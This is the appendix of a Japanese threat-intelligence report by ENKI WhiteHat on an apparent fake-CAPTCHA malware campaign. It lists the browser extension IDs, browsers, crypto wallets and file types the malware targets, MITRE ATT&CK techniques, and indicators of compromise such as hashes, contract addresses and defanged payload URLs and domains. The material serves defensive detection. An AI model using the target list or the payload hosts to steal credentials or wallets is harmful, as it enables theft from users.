| opcgpfmipidbgpenhmajoajpbobppdil | pcndjhkinnkaohffealmlmhaepkpmgkb |
| ckklhkaabbmdjkahiaaplikpdddkenic | cjmkndjhnagcfbpiemnkdpomccnjblmj |
| ookjlbkiijinhpmnjffcofjonbfbgaoc | lccbohhgfkdikahanoclbdmaolidjdfl |
| jkjgekcefbkpogohigkgooodolhdgcda | afbcbjpbpfadlkmhmclhkeeodmamcflc |
| fpkhgmpbidmiogeglndfbkegfdlnajnf | cflgahhmjlmnjbikhakapcfkpbcmllam |
| abogmiocnneedmmepnohnhlijcjpcifd | gjagmgiddbbciopjhllkdnddhcglnemk |
| kmcfomidfpdkfieipokbalgegidffkal | kncchdigobghenbbaddojjnnaogfppfj |
| nbdhibgjnjpnkajaghbffjbkcgljfgdi | fpibioaihcagphbidhodidjbnclocgll |
| amkmjjmmflddogmhpjloimipbofnfjih | hnfanknocfeofbddgcijnmhnfnkdnaad |
| klnaejjgbibmhlephnhpmaofohgkpgkd | nhnkbkgjikgcigadomkphalanndcapjk |
| abjfbanhppgiflmobebfffbijcfoeiao | kilnpioakcdndlodeeceffgjdpojajlo |
| nlgnepoeokdfodgjkjiblkadkjbdfmgd | bopcbmipnjdcdfflfgjdgdjejmgpoaab |
| egjidjbpglichdcondbcbdnbeeppgdph | bhghoamapcdpbohphigoooaddinpkbai |
| pnlccmojcmeohlpggmfnbbiapkmbliob | bmabahhenimmnfijaiccmonalfhpcndh |
| naepdomgkenhinolocfifgehidddafch | admmjipmmciaobhojoghlmleefbicajg |
| jnkelfanjkeadonecabehalmbgpfodjm | panpgppehdchfphcigocleabcmcgfoca |
| jbkgjmpfammbgejcpedggoefddacbdia | jiepnaheligkibgcjgjepjfppgbcghmp |
| gkeelndblnomfmjnophbhfhcjbcnemka | ojggmchlghnjlapmfbnjholfjkiidbch |
| bfnaelmomeimhlpmgjnjophhpkkoljpa | fopmedgnkfpebgllppeddmmochcookhc |
| gjkdbeaiifkpoencioahhcilildpjhgh | acmacodkjbdgmoleebolmdjonilkdbch |
| chgfefjpcobfbnpmiokfjjaglahmnded | mmhlniccooihdimnnjhamobppdhaolme |
| bgjogpoidejdemgoochpnkmdjpocgkha | eajafomhmkipbjmfmhebemolkcicgfmd |
| klghhnkeealcohjjanjjdaeeggmfmlpl | nbdpmlhambbdkhkmbfpljckjcmgibalo |
| kkilomkmpmkbdnfelcpgckmpcaemjcdh | cfbfdhimifdmdehjmkdobpcjfefblkjm |
| jcacnejopjdphbnjgfaaobbfafkihpep | papngmkmknnmfhabbckobgfpihpdgplk |
| algblmhagnobbnmakepomicmfljlbehg | agoakfejjabomempkjlepdflaleeobhb |
| cgeeodpfagjceefieflmdfphplkenlfk | eomhlheglneofffmbfjflldlbcnhpkpb |
| aiaghdjafpiofpainifbgfgjfpclngoh | ginchbkmljhldofnbjabmeophlhdldgp |
| mmmjbcfofconkannjonfmjjajpllddbg | ifckdpamphokdglkkdomedpdegcjhjdp |
| nngceckbapebfimnlniiiahkandclblb | anokgmphncpekkhclmingpimjmcooifb |
| fijngjgcjhjmmpcmkeiomlglpeiijkld | fcckkdbjnoikooededlapcalpionmalo |
| hmeobnfnfcmdkdcmlblgagmfpfboieaf | jiidiaalihmmhddjgbnbgdfflelocpak |
| gadbifgblmedliakbceidegloehmffic | hdokiejnpimakedhajhdlcegeplioahd |
| icpikagpkkbldbfjlbefnmmmcohbjije | mjgkpalnahacmhkikiommfiomhjipgjn |
| bhhhlbepdkbapadjdnnojkbgioiodbic | jnlgamecbpmbajjfhmmmlhejkemejdma |
| ffnbelfdoeiohenkjibnmadjiehjhajb | ajkifnllfhikkjbjopkhmjoieikeihjb |
| pgiaagfkgcbnmiiolekcfmljdagdhlcm | phkbamefinggmakgklpkljjmgibohnba |
| ghlmndacnhlaekppcllcpcjjjomjkjpg | cnncmdhjacpkmjmkcafchppbnpnhdmon |
| aflkmfhebedbjioipglgcbcmnbpgliof | fcfcfllfndlomdhbehjjcoimbgofdncg |
| dmkamcknogkgcdfhhbddcghachkejeap | mmclamjkknobggpiohfneimmnlggagok |
| dlcobpjiigpikoobohmabehhmhfoodbb | lcmncloheoekhbmljjlhdlaobkedjbgd |
| pnndplcbkakcplkjnolgbkdgjikjednm | omaabbefbmiijedngplfjmnooppbclkk |
| nlgbhdfgdhgbiamfdfmbikcdghidoadd | bifidjkcdpgfnlbcjpdkdcnbiooooblg |
| caljgklbbfbcjjanaijlacgncafpegll | mcohilncbfahbmgdjkbpemcciiolgcge |
| dbgnhckhnppddckangcjbkjnlddbjkna | pdadjkfkgcafgbceimcpbkalnfnepbnk |
| cphhlgmgameodnhkjdmkpanlelnlohao | gafhhkghbfjjkeiendhlofajokpaflmk |
| idnnbdplmphpflfnlkomgpfbpcgelopg | iokeahhehimjnekafflcihljlcjccdbe |
| lgbjhdkjmpgjgcbcdlhkokkckpjmedgc | ilhaljfiglknggcoegeknjghdgampffk |
| nopnfnlbinpfoihclomelncopjiioain | hpbgcgmiemanfelegbndmhieiigkackl |
| lpilbniiabackdjcionkobglmddfbcjo | kkpllbgjhchghjapjbinnoddmciocphm |
| dkdedlpgdmmkkfjabffeganieamfklkm | fmblappgoiilbgafhjklehhfifbdocee |
| dphoaaiomekdhacmfoblfblmncpnbahm | inlkhilmjmjomfcpdifpfgllhhlpnbej |
| flpiciilemghbmfalicajoolhkkenfel | bocpokimicclpaiekenaeelehdjllofo |
| cnmamaachppnkjgnildpdmkaakejnhae | hbbgbephgojikajhfbomhlmmollphcad |
| jnldfbidonfeldmalbflbmlebbipcnle | onhogfjeacnfoofkfgppdlbmlmnplgbn |
| oboonakemofpalcgghocfoadofidjkkk | fiikommddbeccaoicoejoniammnalkfa |
| oafedfoadhdjjcipmcbecikgokpaphjk | nphplpgoakhhjchkkhmiggakijnkhfnd |
| bkklifkecemccedpkhcebagjpehhabfb | lpfcbjknijpeeillifnkikgncikgfhdo |
| gjlmehlldlphhljhpnlddaodbjjcchai | aholpfdialjgjfhomihkjbmgjidlcdno |
| jbppfhkifinbpinekbahmdomhlaidhfm | gpnihlnnodeiiaakbikldcihojploeca |
| loinekcabhlmhjjbocijdoimmejangoa | jkoeaghipilijlahjplgbfiocjhldnap |
| nhbicdelgedinnbcidconlnfeionhbml | hpclkefagolihohboafpheddmmgdffjm |
| kbdcddcmgoplfockflacnnefaehaiocb | nkbihfbeogaeaoehlefnkodbefgpgknn |
| jojhfeoedkpkglbfimdfabpdfjaoolaf | opfgelmcmbiajamepnmloijbpoleiama |
| aijcbedoijmgnlmjeegjaglmepbmpkpi | elalghlhoepcjfaedkcmjolahamlnjcp |
| bofddndhbegljegmpmnlbhcejofmjgbn | jgnfghanfbjmimbdmnjfofnbcgpkbegj |
| efbglgofoippbgcjepnhiblaibcnclgk | cpmkedoipcpimgecpmgpldfpohjplkpp |
| abamjefkidngfegdjbmffdmbgjgpaobf | ibnejdfjmmkpcnlpebklmnkoeoihofec |
| copjnifcecdedocejpaapepagaodgpbh | apnehcjmnengpnmccpaibjmhhoadaico |
| ppbibelpcjmhbdihakflkdcoccbgbkpo | igkpcodhieompeloncfnbekccinhapdb |
| hifafgmccdpekplomjjkcfgodnhcellj | bmikpgodpkclnkgmnpphehdgcimmided |
| gdokollfhmnbfckbobkdbakhilldkhcj | fhilaheimglignddkjgofkcbgekhenbh |
| keenhcnmdmjjhincpilijphpiohdppno | enabgbdfcbaehmbigakijjabdpdnimlg |
| lgmpcpglpngdoalbgeoldeajfclnhafa | mgffkfbidihjpoaomajlbgchddlicgpn |
| cihmoadaighcejopammfbmddcmdekcje | ejjladinnckdgjemekebdpeokbikhfci |
| ahidmapichficbkfglbhgmhjcojjmlnm | ocjobpilfplciaddcbafabcegbilnbnb |
| jnmbobjmhlngoefaiojfljckilhhlhcj | nhlnehondigmgckngjomcpcefcdplmgc |
| pocmplpaccanhmnllbbkpgfliimjljgo | ajopcimklncnhjednieoejhkffdolemp |
| kmhcihpebfmpgmihbkipmjlmmioameka | aiifbnbfobpmeekipheeijimdpnlpgpp |
| nknhiehlklippafakaeklbeglecifhad | ldinpeekobnhjjdofggfgjlcehhmanlj |
| fghhpjoffbgecjikiipbkpdakfmkbmig | cmndjbecilbocjfkibfbifhngkdmjgog |
| einnioafmpimabjcddiinlhmijaionap | jhfjfclepacoldmjmkmdlmganfaalklb |
| kglcipoddmbniebnibibkghfijekllbl | ppdadbejkmjnefldpcdjhnkpbjkikoip |
| kkpllkodjeloidieedojogacfhpaihoh | jfmajkmgjpjognffefopllhaijknhnmm |
| khpkpbbcccdmmclmpigdgddabeilkdpd | bkgplkpdgidlgmnlhdfakhcjfpfgjjkb |
| eokbbaidfgdndnljmffldfgjklpjkdoi | dldjpboieedgcmpkchcjcbijingjcgok |
| mnfifefkajgofkcjkemidiaecocnkjeh | lmkncnlpeipongihbffpljgehamdebgi

caption - ブラウザ拡張機能情報

ブラウザ情報

| list | - |
| --- | --- |
| Chrome  | Brave |
| Edge  | Vivaldi |
| Opera  | OperaGX |
| Chrome Beta  | Chrome Canary |
| Chromium  | Chrome Dev |
| Arc  | Coccoc |
| Firefox  | Waterfox |
| Pale Moon

| list | - |
| --- | --- |
| Chrome  | Brave |
| Edge  | Vivaldi |
| Opera  | OperaGX |
| Chrome Beta  | Chrome Canary |
| Chromium  | Chrome Dev |
| Arc  | Coccoc |
| Firefox  | Waterfox |
| Pale Moon

| list | - |
| --- | --- |
| Chrome  | Brave |
| Edge  | Vivaldi |
| Opera  | OperaGX |
| Chrome Beta  | Chrome Canary |
| Chromium  | Chrome Dev |
| Arc  | Coccoc |
| Firefox  | Waterfox |
| Pale Moon

caption - ブラウザ情報

暗号資産ウォレット

| list | - |
| --- | --- |
| Electrum  | Coinomi |
| Exodus  | Atomic |
| Wasabi  | Ledger_Live |
| Monero  | Bitcoin_Core |
| Litecoin_Core  | Dash_Core |
| Electrum_LTC  | Electron_Cash |
| Guarda  | Dogecoin_Core |
| Trezor_Suite

| list | - |
| --- | --- |
| Electrum  | Coinomi |
| Exodus  | Atomic |
| Wasabi  | Ledger_Live |
| Monero  | Bitcoin_Core |
| Litecoin_Core  | Dash_Core |
| Electrum_LTC  | Electron_Cash |
| Guarda  | Dogecoin_Core |
| Trezor_Suite

| list | - |
| --- | --- |
| Electrum  | Coinomi |
| Exodus  | Atomic |
| Wasabi  | Ledger_Live |
| Monero  | Bitcoin_Core |
| Litecoin_Core  | Dash_Core |
| Electrum_LTC  | Electron_Cash |
| Guarda  | Dogecoin_Core |
| Trezor_Suite

caption - 暗号資産ウォレット情報

ファイル拡張子

| list |
| --- |
| txt |
| pdf |
| docx |
| wallet |
| key |
| keys |
| doc |
| json |
| db

| list |
| --- |
| txt |
| pdf |
| docx |
| wallet |
| key |
| keys |
| doc |
| json |
| db

| list |
| --- |
| txt |
| pdf |
| docx |
| wallet |
| key |
| keys |
| doc |
| json |
| db

caption - ファイル拡張子情報

付録 B. MITRE ATT&CK

| Tactics | Techniques |
| --- | --- |
| Initial Access | T1659: Content Injection |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.002: Command and Scripting Interpreter: AppleScript-nT1059.007: Command and Scripting Interpreter: JavaScript-nT1204.004: Malicious Copy and Paste |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1027.013: Obfuscated Files or Information: Encrypted/Encoded File-nT1027.016: Obfuscated Files or Information: Junk Code Insertion-nT1140: Deobfuscate/Decode Files or Information-nT1222.002: File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification-nT1564.003: Hide Artifacts: Hidden Window-nT1497.001: Virtualization/Sandbox Evasion: System Checks |
| Command and Control | T1071.001: Application Layer Protocol: Web Protocols-nT1102: Web Service |
| Exfiltration | T1020:

| Tactics | Techniques |
| --- | --- |
| Initial Access | T1659: Content Injection |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.002: Command and Scripting Interpreter: AppleScript-nT1059.007: Command and Scripting Interpreter: JavaScript-nT1204.004: Malicious Copy and Paste |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1027.013: Obfuscated Files or Information: Encrypted/Encoded File-nT1027.016: Obfuscated Files or Information: Junk Code Insertion-nT1140: Deobfuscate/Decode Files or Information-nT1222.002: File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification-nT1564.003: Hide Artifacts: Hidden Window-nT1497.001: Virtualization/Sandbox Evasion: System Checks |
| Command and Control | T1071.001: Application Layer Protocol: Web Protocols-nT1102: Web Service |
| Exfiltration | T1020:

| Tactics | Techniques |
| --- | --- |
| Initial Access | T1659: Content Injection |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.002: Command and Scripting Interpreter: AppleScript-nT1059.007: Command and Scripting Interpreter: JavaScript-nT1204.004: Malicious Copy and Paste |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1027.013: Obfuscated Files or Information: Encrypted/Encoded File-nT1027.016: Obfuscated Files or Information: Junk Code Insertion-nT1140: Deobfuscate/Decode Files or Information-nT1222.002: File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification-nT1564.003: Hide Artifacts: Hidden Window-nT1497.001: Virtualization/Sandbox Evasion: System Checks |
| Command and Control | T1071.001: Application Layer Protocol: Web Protocols-nT1102: Web Service |
| Exfiltration | T1020:

caption - MITRE ATT&CK

付録 C. IOCs

sha256

  • ea8c2ccdcad3914c89165d94a5916986ee9ba4fbccce3563eaa5facba38cceb6

  • 979d4c679aca330cd892792064762a65a5d749c987cf94bf45653297e266014b

  • 011203e22a01e504889ac2516d23caf302373d08a64ea4c2ab6a48de3fdb98dd

  • 83777983a43464d305da98d4ea863a9164717ad00b8f903767f4513607235a10

  • 01a203c492e2e556762bcc77297db76c6a48e199da8e915774cd7395c73a5892

  • f44c056c087eeb8a77d0730a1d14872fb5d59b6fcb6bcafb9a49a6d165dc1095

Contract Address

  • 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

  • 0x8FBA1667BEF5EdA433928b220886A830488549BD

  • 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

  • 0x5adB8477635ADc33bddccA8Bc48a46323fE18aa0

  • 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c

  • 0xd860EA54f0E403Ad0E34bbF005A2BCa298A23ECC

  • 0xEC3A981d05Ae74fAe7d99DeEa295DCCd1B72d6b2

  • 0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E

  • 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F

  • 0xE1FD5bFe3a085Ce0b2fB72eAC0C14Ef2ef4400C8

URL

  • hxxps://entrinidad[.]cfd/1/verify[.]sh

  • hxxps://overcasetv[.]cfd/update

  • hxxps://raw[.]githubusercontent[.]com/wiraaji/improved-happiness/refs/heads/main/RisingStrip.exe

  • hxxps://technavix[.]cloud/

  • hxxps://yie-cpj[.]pages.dev/mac

  • hxxps://microsoft-dns-reload-1n[.]pages[.]dev

  • hxxps://raw[.]githubusercontent[.]com/wiraaji/improved-happiness/refs/heads/main/pc.txt

  • hxxps://t[.]me/w211et

  • hxxps://steamcommunity[.]com/profiles/76561199811540174

Skyline Domains

  • recaptha-verify-2w[.]pages[.]dev

  • recaptha-verify-q3[.]pages[.]dev

  • recaptcha-dns-o5[.]pages[.]dev

  • recaptcha-dns-d9[.]pages[.]dev

  • recaptha-verify-9o[.]pages[.]dev

  • recaptcha-0d-verify[.]pages[.]dev

  • recaptha-verify-7y[.]pages[.]dev

  • ip-provider[.]pages[.]dev

  • lightsoi[.]pages[.]dev

  • min-js-lib[.]pages[.]dev

  • relmake[.]pages[.]dev

  • rhfvjck[.]pages[.]dev

  • tracklist22[.]pages[.]dev

  • 000-0-000[.]pages[.]dev

  • hypo-dance[.]pages[.]dev

  • ghost-name[.]pages[.]dev

  • tour-agency-media[.]pages[.]dev

  • macos-browser-update-9n[.]pages[.]dev

  • macos-browser-update-5y[.]pages[.]dev

  • dns-resolver-es8[.]pages[.]dev

  • backup-xvc[.]pages[.]dev

  • n51v[.]pages[.]dev

  • stat[.]bluetroniq[.]vip

  • tnop[.]pages[.]dev

  • app2[.]bytevista[.]cloud

  • fhjwekn[.]pages[.]dev

  • xxx[.]retweet[.]shop

  • dsk1a[.]pages[.]dev

  • dfhusj[.]pages[.]dev

  • f23-11r[.]pages[.]dev

  • bsdw[.]pages[.]dev

  • xxx-cf[.]pages[.]dev

  • fg-gb6[.]pages[.]dev

  • ert67-o9[.]pages[.]dev

  • f003[.]backblazeb2[.]com

  • hostme[.]pages[.]dev

  • gdfg-23rwe[.]pages[.]dev

  • sha-11x[.]pages[.]dev

  • s0s2[.]pages[.]dev

  • b1-c1-k8[.]pages[.]dev

  • 1a-a1[.]pages[.]dev

  • sdfwefwg[.]pages[.]dev

  • niopg[.]pages[.]dev

  • cleaning-devices-k[.]pages[.]dev

  • new-school-day-1[.]pages[.]dev

  • social-brain-page[.]pages[.]dev

  • fresh-orange-juice[.]pages[.]dev

  • you-insk-bad[.]pages[.]dev

  • human-verify-7u[.]pages[.]dev

  • recaptcha-verify-me-1c[.]pages[.]dev

  • recaptcha-verify-9n[.]pages[.]dev

  • macos-browser-update-5i[.]pages[.]dev

  • recaptcha-verify-2e[.]pages[.]dev

  • recaptcha-verify-7z[.]pages[.]dev

  • recaptcha-verify-1t[.]pages[.]dev

  • recaptcha-verify-9m[.]pages[.]dev

  • disable-data-collect-ai[.]pages[.]dev

  • recaptcha-verify-1r[.]pages[.]dev

  • recaptha-verify-5q[.]pages[.]dev

  • recaptha-verify-6l[.]pages[.]dev

  • recaptha-verify-1n[.]pages[.]dev

  • recaptha-verify-4z[.]pages[.]dev

  • recaptha-verify-7u[.]pages[.]dev

  • recaptha-verify-c1[.]pages[.]dev

  • recaptha-verify-3m[.]pages[.]dev

  • app[.]bytevista[.]cloud

  • bytevista[.]cloud

  • ho8[.]pages[.]dev

  • z1z[.]pages[.]dev

  • yuun[.]pages[.]dev

  • tuboos[.]pages[.]dev

  • yoloff[.]pages[.]dev

  • javascript-67t[.]pages[.]dev

  • sticker-88l[.]pages[.]dev

  • know-knock-who-is-here[.]pages[.]dev

  • ndgadfqwywqe[.]pages[.]dev

  • jjiiiiiiiiijjjj[.]pages[.]dev

  • gthfjdk[.]pages[.]dev

  • ffmqitnka[.]pages[.]dev

  • jrtersdfg[.]pages[.]dev

  • sound-designer-v21[.]pages[.]dev

  • rivertracker[.]pages[.]dev

  • bootstrappa[.]pages[.]dev

  • renovateai[.]pages[.]dev

  • nhgfdc-ok[.]pages[.]dev

  • yt3cvkj43ws[.]pages[.]dev

  • rose-pole-chip[.]pages[.]dev

  • 0-000-0[.]pages[.]dev

  • 000-00-000[.]pages[.]dev

  • xxx-xx-x-xxx[.]pages[.]dev

  • vv-ww-vv[.]pages[.]dev

  • ooooi1[.]pages[.]dev

  • qbsad[.]pages[.]dev

  • helloworld-f1f[.]pages[.]dev

  • hfdjb[.]pages[.]dev

  • sunlight-11[.]pages[.]dev

  • bbb1-9we[.]pages[.]dev

  • jsfiles-bqq[.]pages[.]dev

  • mixg-u[.]pages[.]dev

  • kolobsgw[.]pages[.]dev

  • nn11[.]pages[.]dev

  • nnoq[.]pages[.]dev

  • fmoz[.]pages[.]dev

  • x1x1[.]pages[.]dev

  • fwfa[.]pages[.]dev

Skyline Test Domains

  • x[.]com

  • 818[.]cn

  • 809[.]cn

  • 808[.]cn

エンキホワイトハット

エンキホワイトハット

ENKI ホワイトハット
ENKI ホワイトハット

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから

インシデント発生前、
今すぐ備えましょう

購読する

コンテンツが役に立ったら?
エンキーレターを購読しましょう!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.